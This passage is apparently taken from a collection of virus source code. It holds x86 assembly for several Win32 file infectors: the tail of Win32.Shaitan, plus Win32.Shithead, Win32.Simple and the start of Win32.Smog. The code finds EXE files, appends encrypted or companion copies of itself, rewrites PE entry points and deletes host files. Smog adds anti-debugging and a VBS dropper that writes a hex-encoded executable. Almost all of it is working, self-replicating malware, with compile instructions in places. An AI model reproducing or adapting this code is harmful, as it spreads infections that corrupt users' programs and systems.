mov [size_of_rawdata+ebp],eax ; Also, save it...
mov eax,[esi+0ch] ; Get VirtualAddress
add eax,[esi+8h] ; Add VirtualSize
sub eax,code_len ; Deduct size of virus
mov [new_ip+ebp],eax ; EAX = New EIP! Save it...
mov [rva_eip+ebp],eax ; Patch...
mov eax,[ori_size_of_rawdata+ebp] ; Original SizeOfRawdata
mov ebx,[size_of_rawdata+ebp] ; New SizeOfRawdata
sub ebx,eax ; Increase in size
mov [inc_size_of_rawdata+ebp],ebx ; Save increase value...
mov eax,[esi+14h] ; File offset of sec's rawdata
add eax,[size_of_rawdata+ebp] ; Add size of new rawdata
mov [new_filesize+ebp],eax ; EAX = New filesize! Save...
mov [adj_filesize+ebp],eax ;
mov eax,[esi+14h] ; File offset of sec's rawdata
add eax,[esi+8h] ; Add VirtualSize of section
sub eax,code_len ; Deduct virus length from it
add eax,[view_address+ebp] ; RVA >> VA (sorta)
; Now EAX points to offset where we'll append the virus code...
push eax ; Save EAX
mov byte ptr [key+ebp],0ffh ; Set encryption key to 0xFF
call crypt ; Encrypt Vx data
pop eax ; Restore EAX
mov edi,eax ; Location to copy to...
mov esi,offset v_start ; Location to copy from...
add esi,ebp ; Adjust with delta pointer
mov ecx,code_len ; No. of bytes to copy
rep movsb ; Copy all the bytes!
call crypt ; Decrypt Vx data
mov esi,[PE_hdr+ebp] ; ESI = Addr. of PE header
mov eax,[new_ip+ebp] ; Get value of new EIP in EAX
mov [esi+28h],eax ; Write it to the PE header
mov eax,[inc_size_of_rawdata+ebp] ; Get inc. size of last section
add [esi+50h],eax ; Add it to SizeOfImage
mov eax,[temp_ip+ebp] ; Get our saved host EIP
mov [ori_ip+ebp],eax ; Restore...
mov [infect_status+ebp],1 ; Successful infection!
close_view:
push ebp ; Save delta pointer
push [view_address+ebp] ; Push view address on stack
mov eax,[_UnmapViewOfFile+ebp] ; API to call
call eax ; Call API to close view
pop ebp ; Restore delta pointer
close_map:
push ebp ; Save delta pointer
push [map_handle+ebp] ; Handle of mapping object
mov eax,[_CloseHandle+ebp] ; Address of API call
call eax ; Close mapping object
pop ebp ; Restore delta pointer
close_file:
truncate_file:
push ebp ; Save delta pointer
push FILE_BEGIN ; Move from start of file
push L 0 ; Distance to move (high)
push [adj_filesize+ebp] ; " " " "
push [file_handle+ebp] ; Handle of file
mov eax,[_SetFilePointer+ebp] ; API function to call
call eax ; Call API
pop ebp ; Restore delta pointer
cmp eax,0ffffffffh ; Seek failed?
je final_close ; Yes. Jump...
push ebp ; Save delta pointer
push [file_handle+ebp] ; Handle of file to truncate
mov eax,[_SetEndOfFile+ebp] ; API to call
call eax ; Call API to truncate file
pop ebp ; Restore delta pointer
; Now close the file...
final_close:
push ebp ; Save delta pointer
push [file_handle+ebp] ; Handle of file to close
mov eax,[_CloseHandle+ebp] ; Address of API call
call eax ; Call API to close file
pop ebp ; Restore delta pointer
restore_attrib:
push ebp ; Save delta
push [ori_attrib+ebp] ; Original attributes
push [testfile+ebp] ; ASCIIZ filename
mov eax,[_SetFileAttributes+ebp] ; API to call
call eax ; Restore original attributes
pop ebp ; Restore delta
infect_end:
mov eax,[infect_status+ebp] ; Success/Failure flag
ret ; Return to caller
;----------------------------------------------------------------------------
; InfectCurrentDirectory - Infects upto 5 files in current directory
;----------------------------------------------------------------------------
InfectCurrentDirectory:
find_file:
push ebp ; Save delta pointer
mov eax,offset wfd_icd ; Returned "FileFind" info
add eax,ebp ; Adjust with delta...
push eax ; Push it onto the stack
mov eax,offset file_match ; Search for "*.EXE"
add eax,ebp ; Adjust with delta...
push eax ; Push it onto the stack
mov eax,[_FindFirstFileA+ebp] ; <<<
call eax ; Call API to search for file
pop ebp ; Restore delta pointer
cmp eax,0ffffffffh ; No match found?
je icd_end ; No. Cannot proceed...
mov [icd_search_handle+ebp],eax ; Save search handle
mov eax,offset wfd_icd.cFileName ; Get filename of match file
add eax,ebp ; Adjust with delta...
mov [testfile+ebp],eax ; Save pointer to it...
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
jne icd_findnext ; Way to big for us!
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
mov [adj_filesize+ebp],eax ; Save it
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
call InfectFile ; Infect file "testfile"
cmp eax,0 ; Successful?
je icd_findnext ; No. Search for next file...
inc [infect_counter+ebp] ; Yes. Increment counter
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
je close_file_handle ; Yes. Don't infect any more
icd_findnext:
push ebp ; Save delta pointer
mov eax,offset wfd_icd ; Offset of WFD structure
add eax,ebp ; Adjust with delta pointer
push eax ; Push up the stack
push [icd_search_handle+ebp] ; Push search handle too
mov eax,[_FindNextFileA+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
cmp eax,L 0 ; No match found?
je close_file_handle ; No. Cannot proceed...
mov eax,offset wfd_icd.cFileName ; Get filename of match file
add eax,ebp ; Adjust with delta...
mov [testfile+ebp],eax ; Save pointer to it...
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
jne icd_findnext ; Way too big! Next...
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
mov [adj_filesize+ebp],eax ; Save it
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
call InfectFile ; Infect file "testfile"
cmp eax,0 ; Successful?
je icd_findnext ; No. Search for next file...
inc [infect_counter+ebp] ; Yes. Increment counter
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
jne icd_findnext ; No. Search next...
close_file_handle:
push ebp ; Save delta
mov eax,[icd_search_handle+ebp] ; Handle of search
push eax ; Push it onto stack
mov eax,[_FindClose+ebp] ; Get address of API to call
call eax ; Call API
pop ebp ; Restore delta
icd_end:
ret
;----------------------------------------------------------------------------
; Search&InfectDirs -
;----------------------------------------------------------------------------
Search&InfectDirs:
call SetDir ; Change to directory in EAX
cmp eax,0 ; Failure?
je sid_end ; Yeah. Quit...
push ebp ; Save delta
mov eax,offset wfd_dir ; Address of struct to hold find-data
add eax,ebp ; Adjust with delta
push eax ; Push onto stack
mov eax,offset dir_match ; File pattern to search for...
push eax ; Push onto stack
mov eax,[_FindFirstFileA+ebp]; API to call
call eax ; Call API
pop ebp ; Restore delta
cmp eax,0ffffffffh ; No match???
je sid_end ; Yes. Can't continue...
mov [dir_search_handle+ebp],eax ; Save search handle
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
jne sid_next_dir ; Not a directory, serch for next...
mov eax,offset wfd_dir.cFileName; Name of found directory
add eax,ebp ; Adjust with delta
call SetDir ; Change to that directory
call InfectCurrentDirectory ; Infect files there
mov eax,offset dot_dot ; Move one directory down (..)
add eax,ebp ; Adjust with delta
call SetDir ; Change to that directory
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
je close_dir_handle ; Yes. Don't continue...
sid_next_dir:
push ebp ; Save delta
mov eax,offset wfd_dir ; Find-data structure
add eax,ebp ; Adjust with delta
push eax ; Push onto stack
push [dir_search_handle+ebp] ; Push search handle too
mov eax,[_FindNextFileA+ebp] ; API to call
call eax ; Call API
pop ebp ; Restore delta
cmp eax,L 0 ; No more dirs?
je close_dir_handle ; No. Exit...
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
jne sid_next_dir ; Not a directory. Search again...
mov eax,offset wfd_dir.cFileName; Name of found directory
add eax,ebp ; Adjust
call SetDir ; Change to found directory
call InfectCurrentDirectory ; Infect files in directory
mov eax,offset dot_dot ; Move back one directory
add eax,ebp ; Adjust...
call SetDir ; Change to that directory
cmp [infect_counter+ebp],MAX_INFECT ; Max # of files infected?
je close_dir_handle ; Yes. Don't continue...
jmp sid_next_dir ; Loop...
close_dir_handle:
push ebp ; Save delta
mov eax,[dir_search_handle+ebp] ; Handle of search
push eax ; Push it onto stack
mov eax,[_FindClose+ebp] ; Get address of API to call
call eax ; Call API
pop ebp ; Restore delta
sid_end:
ret ; Return to caller
;----------------------------------------------------------------------------
; Crypt - En/Decrypts vx data
;----------------------------------------------------------------------------
crypt:
mov esi,offset crypt_start ; Start of data to en/decrypt
add esi,ebp ; Adjust with delta
mov ah,byte ptr [key+ebp] ; Retrieve encryption key
mov ecx,crypt_end - crypt_start ; No. of bytes to encrypt
crypt_loop:
xor byte ptr [esi],ah ; Encrypt one byte
inc esi ; Point to next byte to encrypt
loop crypt_loop ; Loop till done...
ret ; Return to caller
;----------------------------------------------------------------------------
; Virus data -
;----------------------------------------------------------------------------
crypt_start:
testfile dd ?
file_handle dd ?
map_handle dd ?
view_address dd ?
file_match db "*.EXE",0
dir_match db "*.*",0
wfd_icd WIN32_FIND_DATA ?
wfd_dir WIN32_FIND_DATA ?
adj_filesize dd ?
new_filesize dd ?
PE_hdr dd ?
ori_ip dd ?
new_ip dd ?
temp_ip dd ?
file_align dd ?
ori_size_of_rawdata dd ?
size_of_rawdata dd ?
inc_size_of_rawdata dd ?
module_base dd ?
infect_status dd ?
infect_counter dd ?
icd_search_handle dd ?
dir_search_handle dd ?
start_dir db 128 dup (0)
win_dir db 128 dup (0)
root_dir_c db "C:\",0
root_dir_d db "D:\",0
dot_dot db "..",0
ori_attrib dd ?
NumberOfFunctions dd ?
AddressOfFunctions dd ?
AddressOfNames dd ?
AddressOfOrdinals dd ?
GPA_string db "GetProcAddress",0
GPA_string_len equ $ - offset GPA_string
_GetProcAddress dd ?
GMH_string db "GetModuleHandleA",0
GMH_string_len equ $ - offset GMH_string
; ASCIIZ strings of all API functions we need. The DWORDs following the API
; names will store their respective addresses...
API_strings:
CF_string db "CreateFileA",0
_CreateFileA dd ?
CFM_string db "CreateFileMappingA",0
_CreateFileMappingA dd ?
MVOF_string db "MapViewOfFile",0
_MapViewOfFile dd ?
CH_string db "CloseHandle",0
_CloseHandle dd ?
FFF_string db "FindFirstFileA",0
_FindFirstFileA dd ?
FNF_string db "FindNextFileA",0
_FindNextFileA dd ?
FC_string db "FindClose",0
_FindClose dd ?
SFP_string db "SetFilePointer",0
_SetFilePointer dd ?
SEOF_string db "SetEndOfFile",0
_SetEndOfFile dd ?
GCD_string db "GetCurrentDirectoryA",0
_GetCurrentDirectory dd ?
SCD_string db "SetCurrentDirectoryA",0
_SetCurrentDirectory dd ?
GWD_string db "GetWindowsDirectoryA",0
_GetWindowsDirectory dd ?
GCL_string db "GetCommandLineA",0
_GetCommandLine dd ?
UVOF_string db "UnmapViewOfFile",0
_UnmapViewOfFile dd ?
GFA_string db "GetFileAttributesA",0
_GetFileAttributes dd ?
SFA_string db "SetFileAttributesA",0
_SetFileAttributes dd ?
GDT_string db "GetDriveTypeA",0
_GetDriveType dd ?
NoMoreAPI_string dd 'SLAM'
k32_string db "KERNEL32.DLL",0
kernel32 dd ?
; Take credit for writing all this stuff :) ...
copyright db "Win32.Shaitan (c) 1998 The Shaitan [SLAM]",0
; Now do a Dark Avenger impersonation :P
dav_string db "This virus was written in the city of Mumbai",0
crypt_end:
key db 0
v_end:
ends
end v_start

111
Win32/Win32.Shithead.asm Normal file

@ -0,0 +1,111 @@
.386P
Locals
jumps
.Model Flat ,StdCall
;Simple win32 companion Self Replicating Automation
;Jheronimus Bolch - Meta Informatic Syndrome Patients
;code is shit but it's simple-hope so....
extrn ExitProcess : PROC
extrn GetCommandLineA : PROC
extrn MessageBoxA : PROC
extrn MoveFileA:PROC
extrn FindFirstFileA:Proc
extrn FindNextFileA:Proc
extrn CopyFileA:PROC
extrn DeleteFileA:PROC
.Data
text db "bU-hahahaahahahaha",13,10 ;
db "The companion is getting alive...",0
caption db "Hell0",0
keimeno db "simple companion w32 virus",13,10
"basically for assembly coding practice",13,10
"Hope you'll enjoy the code...",13,10
"w32.shithead",13,10
"by Jack Daniels",0
psaxnogia db "*.exe",0
search_handle dd 0
myname db 40h dup (0)
newname db 40h dup (0)
search_data db 318 dup (0)
.Code
Main:
call GetCommandLineA
mov ecx,0
jampo:
mov bl,byte ptr[eax+1]
mov byte ptr[myname+ecx],bl
inc eax
inc ecx
cmp bl,22h
jne jampo
dec ecx
mov byte ptr[myname+ecx],0
push offset search_data
push offset psaxnogia
call FindFirstFileA
cmp eax,-1
je exit
mov search_handle,eax
call infect
more:
mov eax,[search_handle]
push offset search_data
push eax
call FindNextFileA
cmp eax,0
je exit
cmp byte ptr[search_data+44],"_"
je exit
call infect
jmp more
infect:
mov ecx,0
mov byte ptr[newname+ecx],"_"
newnamecreation:
inc ecx
mov bl,byte ptr[search_data+44+ecx-1]
mov byte ptr[newname+ecx],bl
cmp bl,0
jne newnamecreation
push 0
push offset caption
push offset newname
push 0
call MessageBoxA
push offset [search_data+44]
call DeleteFileA
push 1h
push offset [search_data+44]
push offset myname
call CopyFileA
push 1h
push offset newname
push offset [search_data+44]
call CopyFileA
ret
exit:
CALL ExitProcess
End Main

1465
Win32/Win32.Shrug.asm Normal file

File diff suppressed because it is too large Load Diff

330
Win32/Win32.Simple.asm Normal file

@ -0,0 +1,330 @@
; [ W32.Simple by XXXXXX ]
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
; THIS IS A VERY SMALL AND SIMPLE WIN32 PE INFECTOR.. IT INFECTS ONLY
; FILES IN THE CURRENT DIRECTORY. THIS VIRUS IS NOT SUPOSED TO BE IN
; THE WILD SO I DON'T WANTED TO INCLUDE WINDIR INFECTION OR DIRECTORY
; TRAVERSEL... I JUST WANTED TO WRITE A SMALL STABILE WIN32 VIRUS :)
; THERE'S NOT MUCH TO MENTION ABOUT THIS EXEPT A FEW THINGS: I DON'T
; USE FILE-MAPPING, LOOK WHY BELLOW. ALL THE ROUTINES ARE NOT COPIED
; FROM SOMEONE ELSE. COZ THIS IS MY FIRST WIN32 VIRUS I READ A COUPLE
; OF TUTORS BUT THE THING IS I TRIED TO UNDERSTAND THINGS INSTEAD OF
; JUST PASTE CODE. I TRIED MY BEST IN OPTIMIZING COMMON STRUCTURES
; LIKE INFECTION AND EXPORT-TABLE SCANNING. THE ENCRYPTION IS LAME AS
; FUCK... SO... IT'S JUST MY FIRST VIRUS DON'T EXPECT TO MUCH :)
; PLEASE WRITE TO [XXXXXX@GMX.NET] XXXXXX
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
.486
.MODEL FLAT, STDCALL
OPTION CASEMAP:NONE
INCLUDE \MASM32\INCLUDE\KERNEL32.INC
INCLUDELIB \MASM32\LIB\KERNEL32.LIB
VIRUS_SIZE EQU VIRUS_END - VIRUS_START
MAX_PATH EQU 104H
OF_READ EQU 000H
GHND EQU 002H OR 040H
FILE_ATTRIBUTE_NORMAL EQU 080H
.CODE
FIRST_GEN:
PUSH 0
CALL ExitProcess
VIRUS_START:
PUSHAD
CALL DELTA
DELTA: POP EBP
SUB EBP, DELTA ; EBP = DELTA OFFSET
XOR_KEY:MOV DH,0 ; WILL BE PATCHED LATER...
LEA ESI, [ EBP + E_START ] ; SO NO XOR EDX, EDX :)
PUSH ESI
MOV ECX, VIRUS_END - E_START
;________________ _ _ _ [ -ENCRYPT- ] _ _ _ __
ENCRYPT:XOR BYTE PTR [ ESI ], DH ; EN/DE-CRYPTS THE VIRUS_BDY
ROL DH, 1 ; VERY LAME I KNOW...
INC ESI
DEC ECX
JNZ ENCRYPT
RET
E_START:CALL GET_KERNEL ; GET KERNEL BASE
MOV ECX, 14
LEA ESI, [ EBP + ___KERNEL32 ]
CALL GET_APIS ; GET KERNEL API'S
CALL INFECT_DIR ; INFECT SOME FILES
ERR_EXT:POPAD
HRETURN:PUSH DWORD PTR OFFSET FIRST_GEN ; RETURN TO HOST
RET ; WILL BE PATCHED LATER
;________________ _ _ _ [ -GET_KERNEL- ] _ _ _ __
GET_KERNEL: ; RETURNS THE KERNEL BASE
MOV ECX, [ ESP + 9 * 4 ] ; SIMPLE BUT SMALL :)
@@: DEC ECX
MOVZX EDX, WORD PTR [ ECX + 03CH ] ; EDX = POINTER TO PE_HDR
CMP ECX, [ ECX + EDX + 034H ] ; COMPARE CURRENT BASE WITH
JNZ @B ; THE KERNEL IMAGE_BASE (MZ)
MOV [ EBP + _KERNEL ], ECX ; STORE RESULT
MOV [ EBP + _DEFAULT ], ECX
RET
;________________ _ _ _ [ -GET_APIS- ] _ _ _ __
GET_APIS: ; SCANS THROUGHT API TABLE
INC ESI ; AND RETURNS ADDRESSES
PUSH ECX
CALL GET_API ; SEARCH API ADDRESS
POP ECX
MOVZX EBX, BYTE PTR [ ESI - 1 ]
ADD ESI, EBX ; STORE ADDRESS IN THE
MOV [ ESI ], EAX ; API TABLE...
ADD ESI, 4
LOOP GET_APIS ; NEXT ONE
RET
;________________ _ _ _ [ -GET_API- ] _ _ _ __
GET_API: ; SCANS FOR A SINGLE API ADR
MOV EDX, [ EBP + _DEFAULT ] ; EDX = DEFAULT MODULE BASE
ADD EDX, [ EDX + 03CH ] ; + OFFSET PE_HEADER
MOV EDX, [ EDX + 078H ] ; EDX = PTR EXPORT_DIR RVA
ADD EDX, [ EBP + _DEFAULT ] ; + BASE
MOV EDI, [ EDX + 020H ] ; EDI = PTR ADDRESS_OF_NAMES RVA
ADD EDI, [ EBP + _DEFAULT ] ; + BASE
MOV EDI, [ EDI ] ; EDI = PTR ADR_OF_NAMES RVA
ADD EDI, [ EBP + _DEFAULT ] ; + BASE
MOV EAX, [ EDX + 018H ] ; EAX = NUMBER_OF_NAMES
XOR EBX, EBX
NXT_ONE:INC EBX
MOVZX ECX, BYTE PTR [ ESI - 1 ] ; LENGHT OF SPEZIFED API NAME
PUSH ESI
PUSH EDI
REPZ CMPSB ; COMPARE API NAME WITH
POP EDI ; EXPORT ENTRY
POP ESI
JZ FOUND
PUSH EAX
XOR AL, AL
SCASB ; GET NEXT ONE
JNZ $ - 1
POP EAX
DEC EAX ; DECREASE NUMBER_OF_NAMES
JZ ERR_EXT
JMP NXT_ONE
FOUND: MOV ECX, [ EDX + 024H ] ; ECX = PTR NBR_NAME_ORDS RVA
ADD ECX, [ EBP + _DEFAULT ] ; + BASE
DEC EBX
MOVZX EAX, WORD PTR [ ECX + EBX * 2 ] ; EAX = ORDINAL OF FUNCTION
MOV EBX, [ EDX + 01CH ] ; EBX = PTR ADR_OF_FUNCTIONS RVA
ADD EBX, [ EBP + _DEFAULT ] ; + BASE
MOV EAX, [ EBX + EAX * 4 ] ; EAX = FUNCTION RVA!!!!
ADD EAX, [ EBP + _DEFAULT ] ; + BASE
RET
;________________ _ _ _ [ -INFECT_DIRECTORY- ] _ _ _ __
INFECT_DIR: ; SEARCH ALL EXECUTABLES IN
LEA EAX, [ EBP + W32FINDDATA ] ; THE SPEZIFED DIRECTORY
PUSH EAX
LEA EAX, [ EBP + FILE_MASK ]
PUSH EAX
CALL [ EBP + _FINDFIRSTFILE ]
INC EAX
JZ _S_OUT
DEC EAX
MOV [ EBP + S_HANDLE ], EAX
_S_SCAN:
CMP [ EBP + FILESIZEH ], 0 ; ONLY FILES UNDER 4 GIGS...
JNZ _NEXT
CALL INFECT_FILE ; PE FOUND SO INFECT IT!
_NEXT:
LEA EAX, [ EBP + W32FINDDATA ]
PUSH EAX
PUSH [ EBP + S_HANDLE ]
CALL [ EBP + _FINDNEXTFILE ]
TEST EAX, EAX
JNZ _S_SCAN
_S_CLOSE:
PUSH [ EBP + S_HANDLE ]
CALL [ EBP + _FINDCLOSE ]
_S_OUT: RET
;________________ _ _ _ [ -OPEN_FILE- ] _ _ _ __
INFECT_FILE: ; OPENS A FILE AND ALLOCATE MEM
PUSH FILE_ATTRIBUTE_NORMAL ; I DON'T USE FILEMAPPING COZ
LEA EAX, [ EBP + FILENAME ] ; I SIMPLY HATE IT... IMAGINE
PUSH EAX ; YOU MAP A FILE AND BEGIN TO
CALL [ EBP + _SETFILEATTRIBUTES ] ; MAKE THE FIRST CHANGES, NOW
; YOU REALIZE THE PE IS NOT
PUSH OF_READ ; VALID OR CORRUPTED (PACKED
LEA EAX, [ EBP + FILENAME ] ; FILES OR SOME MS PE'S
PUSH EAX ; [OUTLOOK])... THIS PE SHOULD
CALL [ EBP + __LOPEN ] ; BE HISTORY NOW :) I USED IT
MOV [ EBP + FILEHANDLE ], EAX ; BEFORE AND MUST SAY THAT
MOV EAX, [ EBP + FILESIZE ] ; I HAD TONS OF PROBLEMS WITH
ADD [ EBP + MAPSIZE ], EAX ; THIS TECHNIQUE...
PUSH [ EBP + MAPSIZE ]
PUSH GHND
CALL [ EBP + _GLOBALALLOC ]
MOV [ EBP + H_BUFFER ], EAX
PUSH EAX
CALL [ EBP + _GLOBALLOCK ] ; ALLOCATE MEM FOR THE FILE +
TEST EAX, EAX ; VIRUS_BODY
JZ _EXIT
MOV [ EBP + M_BUFFER ], EAX
PUSH [ EBP + FILESIZE ]
PUSH [ EBP + M_BUFFER ]
PUSH [ EBP + FILEHANDLE ]
CALL [ EBP + __LREAD ] ; READ ENTIRE FILE TO BUFFER
PUSH [ EBP + FILEHANDLE ]
CALL [ EBP + __LCLOSE ]
;________________ _ _ _ [ -INFECT_FILE- ] _ _ _ __
MOV EDI, [ EBP + M_BUFFER ] ; EDI = POINTER TO MEM BLOCK
CMP WORD PTR [ EDI ], "ZM" ; DO SOME CHECKS (MZ/PE/INFMARK)
JNZ _EXIT
ADD EDI, [EDI + 03CH] ; EDI = POINTER TO PE_HDR
CMP WORD PTR [ EDI ], "EP"
JNZ _EXIT
CMP DWORD PTR [ EDI + 04CH ], 0
JNZ _EXIT
; RETURN LAST SECTION
MOV ECX, [ EDI + 074H ] ; ECX = NUMBER_OF_RVA_AND_SIZES
LEA ECX, [ ECX * 8 + EDI ] ; x 8 + OFFSET PE_HEADER
MOVZX EAX, WORD PTR [ EDI + 006H ] ; EAX = NUMBER_OF_SECTIONS
DEC EAX ; - 1
LEA EBX, [ EAX + EAX * 4 ] ; EBX = EAX x 28H
LEA EBX, [ EBX * 8 ] ; ...
LEA EBX, [ EBX + ECX + 078H ] ; EBX = EBX + ECX + 078H
MOV EAX, VIRUS_SIZE
XADD [ EBX + 008H ], EAX ; CHANGE VIRTUALSIZE
CMP EAX, [ EBX + 010H ]
JA _EXIT
PUSH EAX
PUSH DWORD PTR [ EBX + 010H ]
ADD EAX, VIRUS_SIZE
XOR EDX, EDX
MOV ECX, [ EDI + 03CH ]
DIV ECX
INC EAX
IMUL EAX, ECX
MOV [ EBX + 010H ], EAX ; CHANGE SIZE_OF_RAW_DATA
POP ECX
MOV EAX, [ EBX + 010H ]
SUB EAX, ECX ; CHANGE SIZE_OF_IMAGE
ADD [ EDI + 050H ], EAX
; CHANGE ATTRIBS & INFMARK
OR DWORD PTR [ EBX + 024H ], 0C0000000H
MOV DWORD PTR [ EDI + 04CH ], 'BDHP'
POP EAX
ADD EAX, [ EBX + 00CH ]
XCHG [ EDI + 028H ], EAX ; CHANGE ENTRY_POINT
ADD EAX, [ EDI + 034H ]
MOV EDI, [ EBX + 014H ] ; VIRUS_POS = VIRT_ADR +
ADD EDI, [ EBX + 008H ] ; VIRT_SIZE
MOV ECX, VIRUS_SIZE
SUB EDI, ECX
ADD EDI, [ EBP + M_BUFFER ]
LEA ESI, [ EBP + VIRUS_START ]
REP MOVSB ; WRITE VIRUS_BODY TO BUFFER
;________________ _ _ _ [ -CLOSE_FILE- ] _ _ _ __
ADD BYTE PTR [ EBP + XOR_KEY + 1 ], 10
MOV DH, BYTE PTR [ EBP + XOR_KEY + 1 ]
MOV BYTE PTR [ EDI - ( VIRUS_END - XOR_KEY ) + 1 ], DH
MOV [ EDI - ( VIRUS_END - HRETURN ) + 1 ], EAX
LEA ESI, [ EDI - ( VIRUS_END - E_START ) ]
MOV ECX, VIRUS_END - E_START
CALL ENCRYPT ; ENCRYPT VIRUS_BODY
PUSH 0 ; TRUNCATE FILE AND OPEN
LEA EAX, [ EBP + FILENAME ] ; FILE FOR WRITE ACCESS
PUSH EAX ; (FILE ATTRIBS ARE SET ABOVE)
CALL [ EBP + __LCREAT ]
INC EAX
JZ _EXIT
MOV EAX, [ EBX + 014H ] ; FILESIZE = VIRT_ADR +
ADD EAX, [ EBX + 010H ] ; SIZE_OF_RAW_DATA
PUSH EAX
PUSH [ EBP + M_BUFFER ] ; WRITE BUFFER TO FILE...
PUSH [ EBP + FILEHANDLE ] ; CLOSE FILE...
CALL [ EBP + __LWRITE ] ; GET RID OF THOSE MEMORY
PUSH [ EBP + FILEHANDLE ] ; POINTERS AND FREE MEMORY...
CALL [ EBP + __LCLOSE ] ; SET OLD FILE ATTRIBUTES
_EXIT: PUSH [ EBP + M_BUFFER ]
CALL [ EBP + _GLOBALUNLOCK ]
PUSH [ EBP + H_BUFFER ]
CALL [ EBP + _GLOBALFREE ]
PUSH [ EBP + F_OATTRIBS ]
LEA EAX, [ EBP + FILENAME ]
PUSH EAX
CALL [ EBP + _SETFILEATTRIBUTES ]
RET
;________________ _ _ _ [ -VIRUS_DATA- ] _ _ _ __
___KERNEL32: ;
DB 06,"_lopen" ; API TABLE
__LOPEN DD 0 ; WILL BE FILLED UP WITH ADR'S
DB 06,"_lread" ; FROM A SPEZIFED MODULE-EXPORT
__LREAD DD 0 ; TABLE (IN THIS CASE KERNEL32)
DB 07,"_lwrite"
__LWRITE DD 0
DB 07,"_lclose"
__LCLOSE DD 0
DB 07,"_lcreat"
__LCREAT DD 0
DB 11,"GlobalAlloc"
_GLOBALALLOC DD 0
DB 10,"GlobalLock"
_GLOBALLOCK DD 0
DB 12,"GlobalUnlock"
_GLOBALUNLOCK DD 0
DB 10,"GlobalFree"
_GLOBALFREE DD 0
DB 13,"FindFirstFile"
_FINDFIRSTFILE DD 0
DB 12,"FindNextFile"
_FINDNEXTFILE DD 0
DB 09,"FindClose"
_FINDCLOSE DD 0
DB 17,"SetFileAttributes"
_SETFILEATTRIBUTES DD 0
DB 17,"GetFileAttributes"
_GETFILEATTRIBUTES DD 0
_KERNEL DD 0 ; BASE PLACEHOLDERS
_DEFAULT DD 0
MAPSIZE DD VIRUS_SIZE + 1000H
FILEHANDLE DD 0
H_BUFFER DD 0
M_BUFFER DD 0
W32FINDDATA: ; WIN32_FIND_DATA STRUC
F_OATTRIBS DD 0
DD 6 DUP ( 0 )
FILESIZEH DD 0
FILESIZE DD 0
DD 2 DUP ( 0 )
FILENAME DB MAX_PATH DUP ( 0 )
DB 14 DUP ( 0 )
S_HANDLE DD 0
FILE_MASK DB "*.EXE", 0
VIRUS_END:
END VIRUS_START

465
Win32/Win32.Smog.asm Normal file

@ -0,0 +1,465 @@
;============================================================
;=== Win32.SMOG virus. Coded by Necronomikon[Zer0Gravity] ===
;============================================================
;Virusname: Win32.Smog
;------------------------------------------------------------
;Author: Necronomikon
;------------------------------------------------------------
;Group: Zero Gravity / Devilport Systems
;------------------------------------------------------------
;Infection:Win32.Smog is a runtime/direct action EXE virus. Infects
;first file in current directory, when executed, by prepending the virus to
;the original EXE file.
;------------------------------------------------------------
;Features: - Open the CDRom-drive all 2Minutes
; - Fuck Debuggers
; - Display MessageBox
;=======================================================
; . To compile:
;=======================================================
; TASM32 /M /ML /Q Smog.ASM
; TLINK32 -Tpe -c -x -aa -r smog.OBJ,,, IMPORT32
.386
.model flat,stdcall
; KERNEL32.dll
extrn ExitProcess:proc
extrn FindFirstFileA:proc
extrn WinExec:proc
extrn _lclose:proc
extrn _llseek:proc
extrn _lopen:proc
extrn _lread:proc
extrn _lwrite:proc
extrn DeleteFileA:proc
extrn CopyFileA:proc
extrn MessageBoxA:proc
extrn SetCurrentDirectoryA:proc
extrn GetCommandLineA:proc
extrn CreateFileA:proc
extrn WriteFile:proc
extrn CloseHandle:proc
L equ <LARGE>
.data
nec dd 0 ; for write process
cont0 dd 0 ; for loops
cont1 db 0 ; for loops
fHnd dd ?
hostName db 260 dup(0) ; space for save host name
chDir db 260 dup(0) ; space for save current dir
commandLine dd ? ; handle for command line
sysTimeStruct db 16 dup(0) ; space for system time struct
szTitle db "Structured Exception Handler example",0
szMessage db "Intercepted General Protection Fault!",0
.code
start:
call setupSEH ; The call pushes the offset
; past it in the stack rigth?
; So we will use that :)
exceptionhandler:
mov esp,[esp+8] ; Error gives us old ESP
; in [ESP+8]
push 00000000h ; Parameters for MessageBoxA
push offset szTitle
push offset szMessage
push 00000000h
call MessageBoxA
push 00000000h
call ExitProcess ; Exit Application
setupSEH:
push dword ptr fs:[0] ; Push original SEH handler
mov fs:[0],esp ; And put the new one (located
; after the first call)
mov ebx,0BFF70000h ; Try to write in kernel (will
mov eax,012345678h ; generate an exception)
xchg eax,[ebx]
scriptName db 'smogdrop.vbs',0
vbsFile db 'rem VBS.Dropper for Win32.Smog',0,0dh,0ah
db 'On Error Resume Next',0,0dh,0ah
db 'rem VBS.Dropper for Win32.Smog',0,0dh,0ah
db 'MsgBox "Take this dropper!", 64,"Necronomikon[Zer0Gravity]"',0,0dh,0ah
db 'Dim BatFile, nec',0,0dh,0ah
db 'Set FSO = CreateObject("Scripting.FileSystemObject")',0,0dh,0ah
db 'Set nec = FSO.CreateTextFile("c:\Windows\smogdrop.dll", 2, False)',0,0dh,0ah
db 'nec.WriteLine "N SMOGDROP.EXE"',0,0dh,0ah
db 'nec.WriteLine "E 4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000"',0,0dh,0ah
db 'nec.WriteLine "E 00000000000000000000000000000000000000000000000B00000000E1FBA0E00B409CD21"',0,0dh,0ah
db 'nec.WriteLine "E B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444"',0,0dh,0ah
